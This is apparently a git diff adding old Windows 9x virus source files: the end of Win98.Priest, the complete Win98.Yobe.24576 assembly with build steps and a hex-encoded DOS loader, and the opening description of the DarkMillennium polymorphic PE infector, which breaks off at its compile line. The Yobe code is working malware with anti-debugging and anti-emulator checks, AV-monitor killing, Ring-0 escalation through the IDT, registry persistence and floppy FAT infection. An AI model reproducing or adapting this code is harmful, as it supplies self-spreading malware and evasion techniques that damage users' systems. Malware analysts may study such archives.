db 'Win98.Priest' + db 'SVS/COREA/MOV' +OLDIP dd F_END - 400000h +End_Virus: +F_END: +push 0 +call ExitProcess + +end Start_Virus + diff --git a/LegacyWindows/Win98.Yobe.24576.asm b/LegacyWindows/Win98.Yobe.24576.asm new file mode 100644 index 00000000..09741aae --- /dev/null +++ b/LegacyWindows/Win98.Yobe.24576.asm @@ -0,0 +1,1044 @@ +?????????????????????????????????????????????????????????????????[yobe.asm]??? +; ??????? ??????? ??????? +; ??? ??? ??? ??? ??? ??? +; Win98.Yobe.24576 ?????? ??????? ??????? +; by Benny/29A ??????? ??????? ??? ??? +; ??????? ??????? ??? ??? +; +; +; +;Author's description +;????????????????????? +; +;Hey reader! R u st0ned or drunk enough? If not, then don't read this, coz this +;is really crazy. Let me introduce u FIRST FAT12 infector (cluster/directory +;virus, this is also used to call), fully compatible with windozes (Win98)! +;No no, that's not enough. This is also resident, multithreaded in both of +;Ring-0 and Ring-3 levels with anti-debugging, anti-heuristic, anti-emulator and +;anti-monitor features, using Win9X backdoor to call DOS services and working +;with CRC32, Windows registry and API functions. +;Among all these features, I don't hope it has any chances to spread outta +;world. It infects only diskettes (A: only) and only one file - SETUP.EXE. More +;crazy than u thought, nah? Yeah, I'm lazy so I didn't want to test my code on +;my harddisk and I also didn't want to think about infication of more than one +;file. When I finished Win98.BeGemot, I was totally b0red of those stupid PE +;headerz, RVAs and such like. I wanted to code something really original, not +;next average-b0ring virus. I hope I successed. This virus doesn't demonstrate +;only porting old techniques (c Dir-II virus) to new enviroment, but also +;hot-new techniques (e.g. Ring0 threads). To be this virus really heavilly +;armoured is missing some poly/meta engine. Unfortunately, this conception of +;virus doesn't allow me to implement such engines (neither compression), coz +;I can't modify virus code. However, I included many usefull trix to fool +;debuggerz as well as heuristic scannerz. Bad thing is that this babe is +;detectable by NODICE32 - NODICE32 can find suspicious code (such as modifying +;IDT) and so it immediately reports an unknown virus. There ain't chance to +;improve it, coz I can't use any kind of encryption. Fortunately, other AVs +;find sh!t :D. I hope u will like this piece of work (it took me much time to +;code it, albeit it is very small (code is small, headerz r huge :) and +;optimized) and u will learn much from that. U want probably ask me, why I didn't +;coded stealth virus. U r right, It's easy to implement full-stealth mechanism, +;but, but, ... I won't lie u - I'm lazy :). +;Gimme know, if u will have any comments, if u will find any bugs or anything +;else...thnx. +; +; +; +;What will happen on execution ? +;???????????????????????????????- +; +;Virus will: +;1) Setup up SEH frame +;2) Check for CRC32 of virus body +;3) Check for application level debugger +;4) Reset SEH frame and run anti-heuristic code +;5) Kill some AV monitors (AVP, AMON) + some anti-heuristic code +;6) Check for SoftICE +;7) Copy virus to internal buffer, create new Ring-3 thread and wait for +; its termination +;8) - Jump to Ring-0 (via IDT) +;9) - Check for residency and install itself to memory +;10) - Quit from Ring-0 +;11) Restore host +;12) Execute host +;13) Restore host, so host will be infected again +;14) Set registry key, so virus will be executed everytime windows will +; start +;15) Check for payload activation time +;16) - Do payload +;17) Remove SEH frame and quit +; +; +;Virus in memory will: +;1) Check file name +;2) Create new Ring-0 thread and wait for its termination +;3) - Check for drive parameters (BOOT sector check) +;4) - Check for free space (FAT check) +;5) - Redirect cluster_ptr in directory structure (ROOT) +;6) - Write virus to the end of DATA area +;7) - Save back FAT, ROOT and SAVE area (internally used by virus) +;8) - Terminate Ring-0 thread +;9) Pass control to next IFS hooker +; +; +; +;Payload +;???????? +; +;In possibility 1:255, virus will show icon on the left side of the screen and +;will rotate with it. U will c, how light-snake will be rolled on the screen. +;User will be really impressed! X-D I still can't stop watching it, it really +;hipnotized me ! :DDDDD. +; +; +; +;Known bugs +;??????????? +; +;My computer will sometimes hang while system will try to read infected file. +;Maybe old FD drive, maybe some bugz in virus code. This appear only on my +;computer, so I hope it is error on my side. +; +; +; +;AVP's description +;?????????????????? +; +;Benny's notes: This is much better description than at BeGemot virus. However, +;I would have some notes, see [* *] marx: +; +; +;Win95.Yobe [* Fully compatible with Win98, so why Win95? *] +; +;This is a dangerous [* why dangerous?! *] memory resident parasitic Windows +;virus. It uses system calls that are valid under Win95/98 only and can't spread +;under NT. The virus also has bugs and often halts the system when run [* when, +;where, why? *]. Despite on this the virus has very unusual way of spreading, +;and it is interesting enough from technical point of view [* I hope it is *]. +;The virus can be found only in two files: "SETUP.EXE" on floppy disks and +;"SETUP .EXE" in the root of the C: drive (there is one space between file name +;and ".EXE" extension). +; +;On the floppy disks the virus uses a trick to hide its copy. It writes its +;complete code to the last disk sectors and modifies the SETUP.EXE file to read +;and execute this code. +; +;The infected SETUP.EXE file looks just as 512 bytes DOS EXE program, but it is +;not. While infecting this file the virus uses "DirII" virus method: by direct +;disk sectors read/write calls the virus gets access to disk directory sectors, +;modifies "first file cluster" field and makes necessary changes in disk FAT +;tables. As a result the original SETUP.EXE code is not modified, but the +;directory entry points to virus code instead of original file clusters. +; +;When the infected SETUP.EXE is run from the affected floppy disk this DOS +;component of the virus takes control, reads the complete virus body from the +;last sectors on the floppy disk, then creates the "C:\SETUP .EXE" file, writes +;these data (complete virus code) to there and executes. The virus installation +;routine takes control then, installs the virus into the system and disinfect +;the SETUP.EXE file on the floppy drive. +; +;While installing itself into the system the virus creates [* opens *] the new +;key in the system registry to activate itself on each Windows restart: +; +; HKLM\Software\Microsoft\Windows\CurrentVersion\Run +; YOBE=""C:\SETUP .EXE" YOBE" +; +;The virus then switches to the Windows kernel level (Ring0), allocates a block +;of system memory, copies itself to there and hooks disk file access Windows +;functions (IFS API). This hook intercepts file opening calls and on opening +;the SETUP.EXE file on the A: drive the virus infects it. +; +;The virus has additional routines. First of them looks for "AVP Monitor" and +;"Amon Antivirus Monitor" windows and closes them; the second one depending on +;random counter displays the line with the words "YOBE" to the left side of the +;screen [* this is usually called as payload :D *]. +; +; +; +;Greetz +;??????? +; +; B0z0 - Huh, guy, why don't u stay in VX and write +; another Padania virus? Just last one ;)) +; Billy Belcebu - Come to .cz! :D +; BitAddict - Nice to met ya. Kewl to met old TriDenTer. +; Darkman - Thank u for that wonderful book. It really +; r0x0r!!! +; Eddow - Would like to meet ya on IRC! +; GriYo - Hey man, just reply me once. +; Itchi - Drink, smoke and fuck again! :) Be back and +; learn to code, pal! +; Kaspersky - U cocksucker, where did u lose the description +; of BeGemot?!! +; Reptile - Smoke, smoke, smoke. This virus is really +; st0ned :D. Btw, still working on macro stuph? ;) +; StarZer0 - Bak infectorz aren't problem :D. Now, when I +; finished FAT12 inf., I will try to code +; multithreaded .txt infector ;))) +; - Fibers r cool, but threads rulez!!! +; The_Might -\ +; MidNyte - > F0rk me a joint pleeeeeeaaazzzzz! :D +; Rhape97 -/ +; All-nonsmokerz - Why do u drink and drive, when u can smoke +; and fly? X-DDD +; W33D - Thanx for inspiration, this virus is yourz, +; hehe :D. +; iKX stuph - Great work, men!!! XiNE#4 r0x0r! +; +; +; +;How to build +;????????????? +; +;brcc32 yobe.rc +;tasm32 -ml -q -m9 yobe.asm +;tlink32 -Tpe -c -x -aa yobe,,, import32,,yobe.res +;pewrsec yobe.exe +; +; +; +;Who is YOBE? +;??????????????????????????? +; +;Many ppl will now laugh me (hi Darkman!, hi Billy!) :DD. Yobe was human, which +;role is situated in Bible. Nah, don't beat me, I'm not catholic. I only like +;stories and ppl in Bible. Yobe was human, which lost his religion. Ehrm, +;let's imagine it as "he stopped believing in what he believed". Story is all +;about that u shouldn't stop believe in what u believe. If u believe in better +;world, don't stop believing in it and do everything to become it truth, don't +;resignate. This ain't only about catholisism, it's about life and utophy. +;But NOW pick up your lazy ass and do anything, anything u think it's right, +;otherwise u won't get what u want! +; +; +; +;(c) 1999 Benny/29A. Enjoy! + + + +.386p ;386 protected opcodez +.model flat ;flat model, 32bit offset + + +include win32api.inc ;include some structures + + +PC_WRITEABLE equ 00020000h ;equates used +PC_USER equ 00040000h ;in installation +PR_SHARED equ 80060000h ;stage +PC_PRESENT equ 80000000h +PC_FIXED equ 00000008h +PD_ZEROINIT equ 00000001h + +IFSMgr_GetHeap equ 0040000Dh ;used services +IFSMgr_Ring0_FileIO equ 00400032h +IFSMgr_InstallFileSystemApiHook equ 00400067h +UniToBCSPath equ 00400041h +VMMCreateThread equ 00010105h +VMMTerminateThread equ 00010107h +_VWIN32_CreateRing0Thread equ 002A0013h +IFSMgr_Ring0_FileIO equ 00400032h + + +mem_size equ (virus_end-Start+0fffh+24576)/1000h + ;size of virus in memory + +VxDCall macro VxDService ;macro to call VxDCall + int 20h + dd VxDService + endm + + +extrn CreateFileA:PROC ;import APIz used by virus +extrn DeviceIoControl:PROC +extrn ExitProcess:PROC +extrn CloseHandle:PROC +extrn GetModuleFileNameA:PROC +extrn ReadFile:PROC +extrn CreateProcessA:PROC +extrn CopyFileA:PROC +extrn WaitForSingleObject:PROC +extrn DeleteFileA:PROC +extrn CreateThread:PROC +extrn GetCommandLineA:PROC +extrn RegCreateKeyExA:PROC +extrn RegSetValueExA:PROC +extrn RegCloseKey:PROC +extrn LoadIconA:PROC +extrn GetDC:PROC +extrn DrawIcon:PROC +extrn IsDebuggerPresent:PROC +extrn FindWindowA:PROC +extrn PostMessageA:PROC + + + +.data ;data section + VxDName db '\\.\vwin32',0 ;vwin32 driver name + srcFile db 'a:\setup.exe',0 ;virus locations + dstFile db 'c:\setup.exe',0 ;on disk + regFile db '"C:\SETUP .EXE" ' ;in registry + regVal db 'YOBE',0 +regSize = $-regFile + subKey db 'Software\Microsoft\Windows\CurrentVersion\Run',0 + sICE db '\\.\SICE',0 ;SoftICE driver name + ShItTyMoNs: ;monitors to kill + db 'AVP Monitor',0 + db 'Amon Antivirus Monitor',0 + lpsiStartInfo db 64 ;used by CreateProcessA + db 63 dup (?) + regCont: ;registers passed to API + regEBX dd offset ROOT + regEDX dd 19 + regECX dd 14 + regEAX dd ? + regEDI dd ? + regESI dd ? + regFLGS dd ? + tmp dd ? ;variable requiered by API + org tmp + hKey dd ? ;key to registry + lppiProcInfo: + hProcess dd ? ;handle to new process + hThread dd ? ;handle to new thread + dwProcessID dd ? ;ID of process + dwThreadID dd ? ;ID of thread + vbuffer db 24576 dup (?) ;buffer filled with virus file + org vbuffer + fname db 256 dup (?) ;name of virus file +ends ;end of data section + + +.code ;code section +Start: ;virus body starts here + @SEH_SetupFrame ;setup SEH frame + mov esi, offset _crc_ ;start of block + mov edi, crc_end-_crc_ ;size of block + call CRC32 ;check code integrity + cmp eax, 0DACA92DCh ;CRC32 match? +_crc_=$ + jne r_exit ;no, quit (anti-breakpoint) + call IsDebuggerPresent ;check if any application level + test eax, eax ;based debugger is present + jne exit ;yeah, quit - anti-debugger + mov [eax], ebx ;cause stack overflow exception + jmp r_exit ;- anti-emulator +seh_jmp:@SEH_RemoveFrame ;reset SEH handler + @SEH_SetupFrame ;... + mov eax, cs ;load CS selector + xor al, al ;only LSB is set under WinNT + test eax, eax ;is WinNT active + je r_exit ;yeah, quit + db 0d6h ;anti-emulator + mov eax, esp ;save ESP to EAX + push cs ;save CS to stack + pop ebx ;get it back to EBX + cmp esp, eax ;match? + jne r_exit ;no, quit - anti-emulator + + mov eax, fs:[20h] ;get debugger context + test eax, eax ;is there any? + jne exit ;yeah, quit - anti-debugger + + mov esi, offset ShItTyMoNs ;pointer to stringz + xor edi, edi ;to AV monitors + push 2 ;2 monitors + pop ecx ;... +KiLlMoNs: + push ecx ;save counter + push esi ;AV string + push edi ;NULL + call FindWindowA ;find window + test eax, eax ;found? + je next_mon ;no, try to kill other monitor + push edi ;now we will send message + push edi ;to AV window to kill itself + push 12h ;veeeeeeery stupid X-DD + push eax + call PostMessageA ;bye bye, hahaha +next_mon: + sub esi, -0ch ;next monitor string + pop ecx ;restore counter + loop KiLlMoNs ;kill another one, if present + + push cs ;store CS + push offset anti_l ;store offset to code + retf ;go there - anti-emulator + +CRC32: push ebx ;I found this code in Int13h's + xor ecx, ecx ;tutorial about infectin' + dec ecx ;archives. Int13h found this + mov edx, ecx ;code in Vecna's Inca virus. +NextByteCRC: ;So, thank ya guys... + xor eax, eax ;Ehrm, this is very fast + xor ebx, ebx ;procedure to code CRC32 at + lodsb ;runtime, no need to use big + xor al, cl ;tables. + mov cl, ch + mov ch, dl + mov dl, dh + mov dh, 8 +NextBitCRC: + shr bx, 1 + rcr ax, 1 + jnc NoCRC + xor ax, 08320h + xor bx, 0edb8h +NoCRC: dec dh + jnz NextBitCRC + xor ecx, eax + xor edx, ebx + dec edi + jne NextByteCRC + not edx + not ecx + pop ebx + mov eax, edx + rol eax, 16 + mov ax, cx + ret + +anti_l: mov edi, offset sICE ;pointer to SoftICE + call OpenDriver ;try to open its driver + jne exit ;SICE present, quit - anti-debugger + + mov esi, offset fname ;where to store virus filename + push 256 ;size of filename + push esi ;ptr to filename + push 400000h ;base address of virus + call GetModuleFileNameA ;get virus filename + test eax, eax ;error? + je exit ;yeah, quit + + xor eax, eax + push eax + push eax + push OPEN_EXISTING + push eax + push FILE_SHARE_READ + inc eax + ror eax, 1 + push eax + push esi + call CreateFileA ;open virus file + inc eax ;error? + je exit ;yeah, quit + dec eax + xchg eax, esi + push 0 + push offset tmp + push 24576 ;size of virus file + push offset vbuffer ;ptr to buffer + push esi + call ReadFile ;copy virus file to buffer + push eax + push esi + call CloseHandle ;and close virus file + pop ecx + jecxz exit + + xor eax, eax + push offset tmp + push eax + push eax + push offset NewThread + push eax + push eax ;create new thread and let virus + call CreateThread ;code continue there + test eax, eax ;error? + je exit ;yeah, quit + mov word ptr [t_patch], 9090h ;allow execution of code - + push eax ; - anti-emulator + call CloseHandle ;close handle of thread +crc_end=$ +e_patch:jmp $ ;this will be patched by thread + ; - anti-emulator +exit: call GetCommandLineA ;get command-line + xchg eax, esi ;to esi + lodsb ;load byte + cmp al, '"' ;is it " ? If not, virus filename + jne regSet ;ain't long one - anti-AVer +lchar: lodsb ;load next byte + cmp al, '"' ;is it " ? + jne lchar ;no, continue +_lchar: lodsb ;load byte + cmp al, ' ' ;is it space? + je _lchar ;yeah, continue + test al, al ;is there any parameter? + jne regSet ;yeah, virus is loaded from + ;C: drive -> no jump to host + + mov edi, offset VxDName ;pointer to vwin32 + call OpenDriver ;open driver + je regSet ;if error, quit + dec eax + mov [d_handle], eax ;store handle + mov eax, offset ROOT ;buffer for reading ROOT + push eax ;save ptr + call I25hSimple ;read ROOT + pop ebp ;get it back + jc c_exit ;if error, then quit + +_f_cmp: mov esi, ebp ;get ptr to ROOT + push esi + lodsd + test eax, eax ;ZERO? + pop esi + je c_exit ;yeah, no more filez, quit + + push 11 ;size of filename (8+3) + pop edi ;to EDI + call CRC32 ;calculate CRC32 + cmp eax, 873F6A26h ;match? + je _fn_ok ;yeah, try to restore file + sub ebp, -20h ;no, get next directory record + jmp _f_cmp ;and try again +_fn_ok: mov edi, offset save ;load SAVE area sector from disk + mov [regEBX], edi + mov [regEDX], 2880-1 ;SAVE area = last sector in disk + mov [regECX], 1 ;one sector to read + call I25h ;read it + jc c_exit ;if error, then quit + + push word ptr [ebp+1ah] ;store cluster_ptr + push dword ptr [ebp+1ch] ;store filesize + push word ptr [edi] ;restore cluster_ptr + pop word ptr [ebp+1ah] ;... + push dword ptr [edi+2] ;restore filesize + pop dword ptr [ebp+1ch] ;... + call WriteROOT ;restore directory record + pop dword ptr [ebp+1ch] ;restore filesize + pop word ptr [ebp+1ah] ;restore cluster_ptr + jc c_exit ;if error, then quit + + mov ebx, offset dstFile ;destination path+filename + push 0 + push ebx + push offset srcFile ;source path+filename + call CopyFileA ;copy virus from A: to C: drive + xchg eax, ecx ;error? + jecxz err_cpa ;yeah, quit + + xor eax, eax + push offset lppiProcInfo + push offset lpsiStartInfo + push eax + push eax + push eax + push eax + push eax + push eax + push eax + push ebx + call CreateProcessA ;execute original file (host) + xchg eax, ecx ;error? + jecxz err_cpa ;yeah, quit + + mov ebp, [hProcess] ;get handle of host process + push -1 ;wait for its signalisation + push ebp ;... + call WaitForSingleObject ;... + + push ebp + call CloseHandle ;close handle of host process + push dword ptr [hThread] + call CloseHandle ;close handle of host thread + +err_cpa:call WriteROOT ;restore ROOT + push ebx + call DeleteFileA ;and delete host from C: drive + +c_exit: push 12345678h ;get handle of vwin32 driver +d_handle = dword ptr $-4 + call CloseHandle ;and close it + +regSet: push offset tmp + push offset hKey + push 0 + push 3 + push 0 + push 0 + push 0 + push offset subKey + push 80000002h + call RegCreateKeyExA ;open registry + test eax, eax + jne r_exit + + push regSize + push offset regFile + push 1 + push 0 + push offset regVal + mov ebx, dword ptr [hKey] + push ebx ;set key - virus will be executed + call RegSetValueExA ;everytime Windows will start + push ebx + call RegCloseKey ;close registry + + dw 310fh ;RDTCS + cmp al, 'Y' ;1:255 possibility + jne r_exit ;payload won't be activated + +payload:push 0 ;payload will be activated + call GetDC ;get device context of desktop + xchg eax, ebx ;save HDC to EBX + push 29ah ;ID of icon + push 400000h ;base of virus + call LoadIconA ;load icon + xor edx, edx ;EDX=0 +l_payload: + pushad ;store all registers + push eax ;icon handle + push edx ;Y possition + push 0 ;X possition + push ebx ;device context handle + call DrawIcon ;draw icon on desktop + popad ;restore all registers + sub edx, -30 ;increment Y possition + loop l_payload ;long payload :) + +r_exit: @SEH_RemoveFrame ;remove SEH frame + push 0 + call ExitProcess ;and exit + +NewThread: + pushad ;store all registers +t_patch:jmp $ ;will be patched - anti-emulator + call EnterRing0 ;jmp to Ring-0 + pushad ;store all registers + mov eax, dr0 ;get debug register + cmp eax, 'YOBE' ;check if we r already resident + je quitR0 ;yeah, quit + + push 24576 + VxDCall IFSMgr_GetHeap ;alocate memory for our virus + pop edx ;correct stack + xchg eax, edi ;get address to EDI + test edi, edi ;error? + je quitR0 ;yeah, quit + + push edi ;copy virus file to memory + mov esi, offset vbuffer ;from + mov ecx, 24576/4 ;how many + rep movsd ;move! + pop ebp + + mov [ebp + 600h+membase-Start], ebp ;save address + lea eax, [ebp + 600h+NewIFSHandler-Start] + push eax ;pointer to new handler + VxDCall IFSMgr_InstallFileSystemApiHook ;install file system hook + pop edx ;correct stack + mov [ebp + 600h+OldIFSHandler-Start], eax + mov eax, 'YOBE' ;mark debug register as "already + mov dr0, eax ;resident flag" - anti-debugger +quitR0: mov dword ptr [p_jmp], 90909090h ;patch code - anti-emulator + popad ;restore all registers + iretd ;and quit from Ring-0 + +EnterRing0: ;Ring0 port + pop eax ;get address + pushad ;store registers + sidt fword ptr [esp-2] ;load 6byte long IDT address + popad ;restore registers + sub edi, -(8*3) ;move to int3 + push dword ptr [edi] ;save original IDT + stosw ;modify IDT + inc edi ;move by 2 + inc edi ;... + push dword ptr [edi] ;save original IDT + push edi ;save pointer + mov ah, 0eeh ;IDT FLAGs + stosd ;save it + push ds ;save some selectors + push es ;... + int 3 ;JuMpToRiNg0! + pop es ;restore selectors + pop ds ;... + pop edi ;restore ptr + add edi, -4 ;move with ptr + pop dword ptr [edi+4] ;and restore IDT + pop dword ptr [edi] ;... +p_jmp: inc eax ;some silly loop to fool + cdq ;some AVs. Will be overwritten + jmp p_jmp ;with NOPs l8r by int handler + mov word ptr [e_patch], 9090h ;again, new overwriting of code + popad ; - anti-emulator + ret ;restore all registers and quit + +OpenDriver: + xor eax, eax + push eax + push 4000000h + push eax + push eax + push eax + push eax + push edi + call CreateFileA ;open driver + inc eax ;increment handle + ret ;quit + +NewIFSHandler: ;file system handler + enter 20h, 0 ;reserve space in stack + push dword ptr [ebp+1ch] ;for parameters + push dword ptr [ebp+18h] + push dword ptr [ebp+14h] ;store parameters + push dword ptr [ebp+10h] ;for next handler + push dword ptr [ebp+0ch] + push dword ptr [ebp+08h] + + cmp dword ptr [ebp+0ch], 24h ;open? + jne quitHandler ;no, quit + + pushad ;store all registers + call gdlta ;get delta offset +gdelta: db 0b8h ;prefix - anti-disassembler +gdlta: pop ebx ;and anti-lamer + + xor ecx, ecx ;ECX=0 + mov cl, 1 ;ECX=0 or 1 +semaphore = byte ptr $-1 + jecxz exitHandler ;semaphore set? then quit + mov byte ptr [ebx + semaphore - gdelta], 0 + ;set semaphore + lea edi, [ebx + filename - gdelta] ;get filename + mov al, [ebp+10h] ;get disk no. + dec al ;is it A: ? + jne exitHandler ;no, quit + mov al, 'A' ;add A letter + stosb ;store it + mov al, ':' ;add : letter + stosb ;store it + +wegotdrive: + xor eax, eax + push eax + inc ah + push eax + mov eax, [ebp+1ch] + mov eax, [eax+0ch] + sub eax, -4 + push eax + push edi + VxDCall UniToBCSPath ;convert UNICOE filename to ANSI + sub esp, -10h ;correct shitty stack + mov byte ptr [edi+eax], 0 ;and terminate filename with \0 + + mov esi, edi + dec esi + dec esi + xchg eax, edi + inc edi + inc edi + inc edi + call CRC32 ;calculate CRC32 of filename + cmp eax, 0B4662AD0h ;is it "A:\SETUP.EXE,0" ? + je setup_exe ;yeah, continue + +exitHandler: + mov byte ptr [ebx + semaphore - gdelta], 1 ;set semaphore + popad ;restore all registers +quitHandler: + mov eax, 12345678h +OldIFSHandler = dword ptr $-4 + call [eax] ;jump to next handler + sub esp, -18h ;correct stack + leave + ret ;and quit + +setup_exe: + mov ecx, 1000h ;thread stack + lea ebx, [ebx + Thread_Infect - gdelta] ;address of thread proc + xor esi, esi ;next crappy parameter + VxDCall _VWIN32_CreateRing0Thread ;create new Ring-0 thread + jmp exitHandler ;and quit + ; - anti-everything + db 0b8h ;prefix - anti-disassembler +Thread_Infect: ;Ring-0 thread proc + pushad ;store all registers + jmp ti_next ;jump over + db 3 dup (?) ;leave code be overwritten +ti_next:call tigdelta ;get delta offset +ti_gdelta db 0b8h ;next prefix +tigdelta: + pop ebx + xor ecx, ecx + inc ecx + lea esi, [ebx + BOOT - ti_gdelta] ;read BOOT sector + call Int25h + jc exit_thread + + cmp [ebx + BOOT+0bh - ti_gdelta], 01010200h ;check, if diskette is + jne exit_thread ;1,44MB, check FAT and + cmp word ptr [ebx + BOOT+0fh - ti_gdelta], 0200h;ROOT possition + jne exit_thread + push 9 + pop ecx + cmp word ptr [ebx + BOOT+16h - ti_gdelta], cx ;... + jne exit_thread ;no, its not 1,44MB FD + + lea esi, [ebx + FAT - ti_gdelta] + inc edx + call Int25h ;read FAT + cmp byte ptr [esi], 0f0h ;check if it is 1,44MB + jne exit_thread ;no, quit + + + lea edi, [ebx + FAT+4223 - ti_gdelta] ;check FAT, if last sectors r + mov ebp, edi ;free + xor eax, eax +sFAT: scasd + jne exit_thread ;no, quit + loop sFAT + + mov edi, ebp ;now we will mark FAT, last + inc edi ;sectors will be marked as + mov eax, 0ff0ff00h ;RESERVED + push 73 ;coz we infect 12bit FAT, we + pop ecx ;use this loop to mark it so +markFAT:ror eax, 8 + test al, al + je markFAT + stosb + loop markFAT + mov byte ptr [edi], 0fh ;mark end + + call ROOTinit + call Int25h ;read ROOT + +f_cmp: mov esi, ebp ;get ptr to ROOT + push esi + lodsd + test eax, eax ;ZERO? + pop esi + je exit_thread ;yeah, no more filez, quit + + push 11 + pop edi + call CRC32 ;calculate CRC32 of file + cmp eax, 873F6A26h ;is it SETUP.EXE? + je fn_ok ;yeah, continue + sub ebp, -20h ;no, process next directory rec. + jmp f_cmp ;... +fn_ok: mov ax, [ebp+1ah] ;save cluster_ptr + mov [ebx + save - ti_gdelta], ax + mov eax, [ebp+1ch] ;save filesize + mov [ebx + save+2 - ti_gdelta], eax + mov word ptr [ebp+1ah], 2800 ;new cluster_ptr + mov dword ptr [ebp+1ch], 512 ;new filesize + + xor ecx, ecx + inc ecx + lea esi, [ebx + loader - ti_gdelta] + mov edx, 2880-49 + call Int26h ;write DOS loader + + push 42 + pop ecx + mov esi, [ebx + membase - ti_gdelta] + mov edx, 2880-48 ;write virus + call Int26h + + xor ecx, ecx + inc ecx + lea esi, [ebx + save - ti_gdelta] + mov edx, 2880-1 + call Int26h ;write SAVE area + + call ROOTinit + call Int26h ;write ROOT + + push 9 + pop ecx + lea esi, [ebx + FAT - ti_gdelta] + xor edx, edx + inc edx + pushad + call Int26h ;write first FAT + popad + sub dl, -9 + call Int26h ;write second FAT + +exit_thread: + popad ;restore all registers + ret ;and exit + + +ROOTinit: ;procedure to initialize + push 14 ;registers for reading/writing + pop ecx ;ROOT + push 19 + pop edx + lea esi, [ebx + ROOT - ti_gdelta] + mov ebp, esi + ret + +Int26h: mov eax, 0DE00h ;write sectors + jmp irfio +Int25h: mov eax, 0DD00h ;read sectors +irfio: VxDCall IFSMgr_Ring0_FileIO + ret + +WriteROOT: ;code used to write sectorz + mov [regEBX], offset ROOT ;pointer to ROOT field + mov [regEDX], 19 ;sector number of ROOT + mov [regECX], 14 ;sectors to write +I26h: mov [p2526], 3 ;set WRITE mode + jmp i2526 ;continue +I25h: mov [p2526], 2 ;set READ mode +i2526: and [regEAX], 0 ;zero EAX +I25hSimple: + push 0 + push offset tmp + push 28 + push offset regCont + push 28 + push offset regCont + push 2 +p2526 = byte ptr $-1 + push dword ptr [d_handle] + call DeviceIoControl ;backdoor used to call DOS services + xchg eax, ecx ;error? + jecxz q2526h ;yeah, set CF and quit + clc ;clear CF + ret ;quit +q2526h: stc ;set CF + ret ;and quit + + + loader: ;DOS loader + include loader.inc + ldrsize = $-loader ;size of DOS loader + membase dd 'YYYY' ;address, where is virus placed in memory + filename db 100h dup ('Y') ;filename + save db 512 dup ('Y') ;save area + BOOT db 512 dup ('Y') ;BOOT + FAT db 4608 dup ('Y') ;FAT + ROOT db 7168 dup ('Y') ;ROOT +virus_end: ;virus ends here +ends ;end of code section +End Start ;thats all f0lx ;) +?????????????????????????????????????????????????????????????????[yobe.asm]??? +???????????????????????????????????????????????????????????????[LOADER.INC]??? + dd 5A4Dh + dd 1 + dd 5410010h + dd 0FFFFh + dd 0 + dd 0 + dd 1Ch + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 0 + dd 8EC0331Eh + dd 901EC4D8h + dd 1E892E00h + dd 8C2E008Dh + dd 0C7008F06h + dd 9B009006h + dd 920E8C00h + dd 1F0E0E00h + dd 2AB907h + dd 0BB0B10BAh + dd 25CD00CBh + dd 0B8587258h + dd 0DB33716Ch + dd 0BAC93343h + dd 9EBE0012h + dd 7221CD00h + dd 40B49346h + dd 0B900CBBAh + dd 21CD6000h + dd 3EB43972h + dd 2E0721CDh + dd 0BF068Ch + dd 48BB4AB4h + dd 1E21CD05h + dd 77168C06h + dd 7C268900h + dd 0B8070E00h + dd 0BBBB4B00h + dd 0ACBA00h + dd 34B821CDh + dd 0BCD08E12h + dd 1F071234h + dd 0ACBA41B4h + dd 3321CD00h + dd 66D88EC0h + dd 34567868h + dd 68F6612h + dd 0B80090h + dd 0B021CD4Ch + dd 3A43CF03h + dd 5445535Ch + dd 2E205055h + dd 455845h + dd 535C3A43h + dd 50555445h + dd 452E317Eh + dd 4558h + dd 8100h + dd 0FFFFFF00h + dd 0FFFFFFFFh + dw 0EFFh + db 0 +???????????????????????????????????????????????????????????????[LOADER.INC]??? + + + + + diff --git a/LegacyWindows/Win9x.DarkMillennium.asm b/LegacyWindows/Win9x.DarkMillennium.asm new file mode 100644 index 00000000..7bc18150 --- /dev/null +++ b/LegacyWindows/Win9x.DarkMillennium.asm @@ -0,0 +1,2248 @@ + +; DarkMillennium Project +; developed by Clau / Ultimate Chaos +; +; The Project is a Win95/98 compatible virus. +; Also this is my first virus that infects PE files. +; +; Greets goes to all Ultimate Chaos members and all people in VX scene. +; Respect to all of you. +; +;---------------- +; DESCRIPTION | +;---------------- +; +; on program load : +; - it proccess a polymorphic decryptor +; - it is made in 2 parts +; - 1. Finding the key that encryption was made with (between 0 ... 65535) +; - 2. Decrypt the code with that key +; - check if it is already resident +; - if not, go into ring0 +; - get memory with GetHeap +; - copy itself into allocated memory +; - hook the API (InstallFileSystemAPIhook) +; -return to host program +; on FS calls, if IFSFN_OPEN/IFSFN_RENAME/IFSFN_FILEATRIB +; - check if extension is EXE/SCR +; - check if the file format is PE +; - if so, infect the file +; - Generate random polymorphic decryptor, and write it to file +; - Encrypt the code with a simple XOR method using a random key witch is never saved +; It use only 2 bytes buffer for encryption, it encrypt 2 bytes at a time and write them +; into the file, until all the code is encrypted and written. This method is slower, +; but low memory is used. +; - check for a condition and if it is true then display a message box trough VxD call +; payloads, the condition is the number of infected files be equal to infected_nr_trigger +; - thanks goes to Midnyte (member of Ultimate Chaos, coder, GFXer) for helping me with this nice payload +; - on BMP and GIF open they will go darker and darker on every open +; - on some BMPs and GIFs the effect is more cool, I can say strange +; +;---------------------------------------- +; Polymoprhic engine description | +;---------------------------------------- +; +; This is my first poly engine. +; - random junk code +; - do nothing instructions (instructions that do not interfer with the decryptor) +; - they are 1, 2 or more bytes instructions, and more instructions combined +; - 1 byte - cmc, clc, stc, nop +; - 2 bytes - a range of INTs +; - > 2 bytes - it can generate random MOV, PUSH, POP ... infact all instructions +; that are used in decryptor, without interfering with the decryptor (it use regs +; that are not used in decrypt process) +; - more ways to do the same thing instructions +; example : MOV EAX, 12345678h <=> PUSH 12345678h +; POP EAX +; - the decryptor size can be ~ 3 times bigger then the original decryptor +; - if the decryptor is smaller then the decryptor before, the space between it and the encrypted code +; will be filled with junk. +; +; +; Compile with: +; tasm32 /m3 /ml darkmillennium.asm +; tlink32 /Tpe /aa /x 